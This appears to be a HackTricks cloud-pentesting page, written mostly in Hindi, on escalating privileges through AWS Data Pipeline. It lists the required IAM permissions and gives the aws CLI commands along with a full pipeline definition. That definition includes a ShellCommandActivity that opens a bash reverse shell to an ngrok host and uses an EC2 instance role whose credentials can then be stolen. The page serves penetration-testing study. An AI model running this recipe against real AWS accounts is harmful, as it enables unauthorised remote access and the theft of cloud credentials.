AWS - Datapipeline Privesc

Support HackTricks

datapipeline

datapipeline के बारे में अधिक जानकारी के लिए देखें:

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

इन अनुमतियों वाले उपयोगकर्ता एक डेटा पाइपलाइन बनाकर विशेषाधिकार बढ़ा सकते हैं ताकि नियुक्त भूमिका की अनुमतियों का उपयोग करके मनमाने आदेश निष्पादित कर सकें:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

पाइपलाइन निर्माण के बाद, हमलावर इसकी परिभाषा को अद्यतन करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण को निर्धारित किया जा सके:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

ध्यान दें कि लाइन 14, 15 और 27 में भूमिका एक भूमिका होनी चाहिए जो datapipeline.amazonaws.com द्वारा ग्रहण की जा सके और लाइन 28 में भूमिका एक भूमिका होनी चाहिए जो ec2.amazonaws.com द्वारा ग्रहण की जा सके जिसमें एक EC2 प्रोफ़ाइल इंस्टेंस हो

इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुंच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (इसलिए आप केवल वही चुरा सकते हैं)।

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

The pipeline definition file, crafted by the attacker, includes directives to execute commands या AWS API के माध्यम से संसाधन बनाने के लिए, Data Pipeline की भूमिका अनुमतियों का लाभ उठाते हुए संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त करने के लिए।

Potential Impact: निर्दिष्ट ec2 सेवा भूमिका के लिए सीधे privesc।

References

Support HackTricks

Last updated